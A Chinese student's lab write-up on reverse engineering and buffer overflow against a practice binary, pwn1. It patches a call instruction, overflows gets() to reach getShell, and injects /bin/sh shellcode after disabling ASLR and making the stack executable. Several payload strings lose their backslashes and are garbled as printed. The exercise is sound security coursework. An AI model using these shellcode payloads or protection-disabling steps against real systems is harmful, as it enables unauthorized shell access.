zoukankan      html  css  js  c++  java
  • 20155210 实验一 逆向与Bof基础

    20155210 实验一 逆向与Bof基础

    实验内容

    1.直接修改程序机器指令,改变程序执行流程

    • 下载目标文件pwn1,反汇编

    利用objdump -d pwn1对pwn1进行反汇编

    得到:

    • 80484b5: e8 d7 ff ff ff call 8048491 <foo>

    • 是说这条指令将调用位于地址8048491处的foo函数;
      其对应机器指令为“e8 d7ffffff”,e8即跳转之意。
      本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。

    • main函数调用foo,对应机器指令为“e8 d7ffffff”,那我们想让它调用getShell,只要修改“d7ffffff”为"getShell-80484ba"对应的补码就行。

    • 直接 47d-4ba就能得到补码。

    • 也可通过对比两个函数所存储的地址,计算“0804847d(getshell)-08048491(foo)+d7”得c3ffffff。
      下面我们就修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

    • 接下来我们用vi pwn1打开pwn1

    得到:

    • 然后利用%!xxd将文件转换成16进制显示,利用/e8 d7ff ffff进行搜索将d7改为c3,利用%!xxd -r转回之前,再次进行反汇编

    得到:

    2.通过构造输入参数,造成BOF攻击,改变程序执行流

    • 首先我们先要了解函数的作用
    == 注意这个函数getShell,我们的目标是触发这个函数  ==
    
    0804847d <getShell>:
     804847d:	55                   	push   %ebp
     804847e:	89 e5                	mov    %esp,%ebp
     8048480:	83 ec 18             	sub    $0x18,%esp
     8048483:	c7 04 24 60 85 04 08 	movl   $0x8048560,(%esp)
     804848a:	e8 c1 fe ff ff       	call   8048350 <system@plt>
     804848f:	c9                   	leave  
     8048490:	c3                   	ret    
    
    == 该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞  ==
    
    08048491 <foo>:
     8048491:	55                   	push   %ebp
     8048492:	89 e5                	mov    %esp,%ebp
     8048494:	83 ec 38             	sub    $0x38,%esp
     8048497:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     804849a:	89 04 24             	mov    %eax,(%esp)
     
     == 这里读入字符串,但系统只预留了__字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址 ==
     
     804849d:	e8 8e fe ff ff       	call   8048330 <gets@plt>
     80484a2:	8d 45 e4             	lea    -0x1c(%ebp),%eax
     80484a5:	89 04 24             	mov    %eax,(%esp)
     80484a8:	e8 93 fe ff ff       	call   8048340 <puts@plt>
     80484ad:	c9                   	leave  
     80484ae:	c3                   	ret    080484af <main>:
     80484af:	55                   	push   %ebp
     80484b0:	89 e5                	mov    %esp,%ebp
     80484b2:	83 e4 f0             	and    $0xfffffff0,%esp
     80484b5:	e8 d7 ff ff ff       	call   8048491 <foo>
     
     ==上面的call调用foo,同时在堆栈上压上返回地址值:__________== 
     
     80484ba:	b8 00 00 00 00       	mov    $0x0,%eax
     80484bf:	c9                   	leave  
     80484c0:	c3                   	ret    
     80484c1:	66 90                	xchg   %ax,%ax
     80484c3:	66 90                	xchg   %ax,%ax
     80484c5:	66 90                	xchg   %ax,%ax
     80484c7:	66 90                	xchg   %ax,%ax
     80484c9:	66 90                	xchg   %ax,%ax
     80484cb:	66 90                	xchg   %ax,%ax
     80484cd:	66 90                	xchg   %ax,%ax
     80484cf:	90                   	nop
    
    • 接下来我们要进行尝试如果溢出,eip储存的是哪4位数

    • 首先gdb pwn1,让后r,输入1111111122222222333333334444444455555555,然后输入info r

    得到:

    • 发现eip为35353535,5的ascii为35,所以再重新运行,输入1111111122222222333333334444444412345678(12345678可换为学号)

    得到:

    • eip为34333231,所以即可编辑输入为perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input,可用xxd input查看input,随后运行pwn1

    得到:

    3.注入Shellcode并执行

    • shellcode就是一段机器指令(code)
      通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
      在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

    • 首先先做一些实验准备,先利用apt-get install execstack下载··execstack··。

    • 然后输入下面的指令

    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space 
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space 
    
    • 准备工作做好之后,我们就要开始构造要注入的payload

    • Linux下有两种基本构造攻击buf的方法:
      1.retaddr+nop+shellcode

    2.nop+shellcode+retaddr。

    • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
    • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

    3.1 nop+shellcode+retaddr(此方法失败)

    • 首先我们先构造输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode

    • 其中前32个16进制数为shellcode指令,x4x3x2x1为溢出到eip的部分,也就是要修改为shellcode的首地址

    • 接下来只要确定了shellcode的首地址即可

    • 我们先输入(cat input_shellcode;cat) | ./pwn1,运行pwn1,然后打开顶一个终端,输入ps -ef | grep pwn1找到pwn1的进程号为4436,如图:

    • 然后我们输入gdb,进入gdb调试,输入attach 4436(进程号)

    如图:

    • 然后我们来设置断点,首先输入disassemble foo,查看foo的栈地址,然后选择设置断点,break *080484a5,然后c(continue)

    如图:

    • 然后输入info r,查看栈的地址,然后输入x/32x 0xffffd2f0(esp)

    如图:

    • 根据上图,选择把地址改为0xffffd310,输入perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x10xd3xffxffx00"' > input_shellcode重新构造input,输入(cat input_shellcode; cat) | ./pwn1,运行pwn1,发现失败。

    如图:

    • 原因可能是代码也在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。

    3.2 retaddr+nop+shellcode(成功)

    • 由实验2知,33-36位为eip,即想要覆盖的区域,37位后为shellcode,所以输入perl -e 'print "A" x 32;print "x30xd3xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode ,用32个A去填充前32位,33-36位为3.1试验中的0x90909090的地址加上/x24,即0xffffd30c+0x24=0xffffd330
      得到:
  • 相关阅读:
    东方财富炒股公式
    centos8安装MySQL8——通过yum
    官网下载工具时。各种不同后缀名称的区别。
    线上不停机部署mysql主从
    店员任务项目总结
    JS到PHP使用RSA算法进行加密通讯
    无锁同步-JAVA之Volatile、Atomic和CAS
    无锁同步-C++11之Atomic和CAS
    浅谈一个网页打开的全过程(涉及DNS、CDN、Nginx负载均衡等)
    SQLServer数据库卡,内存吃不上去,系统资源用不上
  • 原文地址:https://www.cnblogs.com/panyinghao/p/8552280.html
Copyright © 2011-2022 走看看